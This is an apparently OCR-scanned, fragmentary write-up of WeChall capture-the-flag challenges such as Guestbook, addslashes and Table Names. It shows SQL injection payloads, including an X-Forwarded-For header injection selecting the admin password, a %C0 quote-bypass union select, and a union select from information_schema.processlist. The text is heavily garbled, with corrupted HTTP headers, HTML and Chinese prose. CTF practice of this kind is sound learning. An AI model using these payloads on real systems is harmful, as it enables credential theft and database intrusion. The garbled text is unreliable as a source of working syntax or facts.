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4.The Guestbook
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X B H B T 15Kk X_FORWARDED_FOR, FrLAFRATH FFE it —> 7 HX_FORWARDED_FORIE KBt ] PATE BGEAN
T, burpsuite$NVE 2 J5 HEFEXS R LR JG A a0 R
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POST /challenge/cuesthook/index. php HTITPAL1.1
Hoszt: www.wechall.net
User—Agent: Mozilla/5.0 (Windows NT €.3; WOWE4; rw:4Z.0)
Gecko,/20100101 Firefox/4Z.0
Avcept:
text/htnl , application/xhtnltxnl, application/xnl; q=0.5,*/*q=0.8
Accept-Language: zh-CIT, zh;q=0.8,en-TUS;q=0.5,en;q=0.32
Acvcept-Encoding: gzip, deflate

-Forwarded-For: 127.0.0.1,8288", (select gbu password from
Ehook user where ghu name='admin'j) -- a

Peferer: http://www.wechall net/challenge/gquesthook//index.php
Cookie: WC=8799573-18041-30EqmOIKHOVEP3nd

Commection: keep-alive

Content-Type: application/x-www-form-urlencodsd
Content-Lengtlh: 40

message=1lizdfsdids fdisigm=SimtGuesthoolk

Hrepeaterjin I

gbu_password gbook_user gbu_name=

Z 433 adminff) 1Y .
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“div clags="cl"=</div=
<hZ>¥Your Guestbook=/h3=
<div class="gwi_table">

<tables=
<tr class=" gwi_odd">
<tdsJan 27, 2016 - 12:05:44 - Guest - 127.0.0.1, 8888</td>
<ftr>
“qr class=" gwi_odd">
<t d>*TheBrownFoxAndTheLazyDog=/t d
=TT
<ftables
</fdivs

<div class="hox">

TheBrownFoxAndTheLazyDog

5.Blinded by the light
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6.addslashes
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g% Split URL 2username=%C0" +union+select+CHAR(65,100,109,105,110)%:23
B Spassword=1234

b Execute &login=s=>"5E ]

Enable Post data [ | Enable Referrer
Post data

SRJE RLRER 1, FRAE S AAE BT

HUBRINE G T, SAEBCA WA —F ZIAEMR AL, B HORKRMR R T, . .

7.MD5.SALT
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passwor‘d, users username=
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9.Table Names
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Welcome back 1

= Your personal welcome message is: 3

This ensures you are not on a fake evil phising site.
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Table Names Il

Welcome back SELECT * FROM nurfedtables37 userbobbytable?” WHERE username=" and 1=2 union select info,2,3 from
information_schema_processlist#' AND password="

~ Your personal welcome message is: 3

This ensures you are not on a fake evil phising site.
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12.Light in the Darkness
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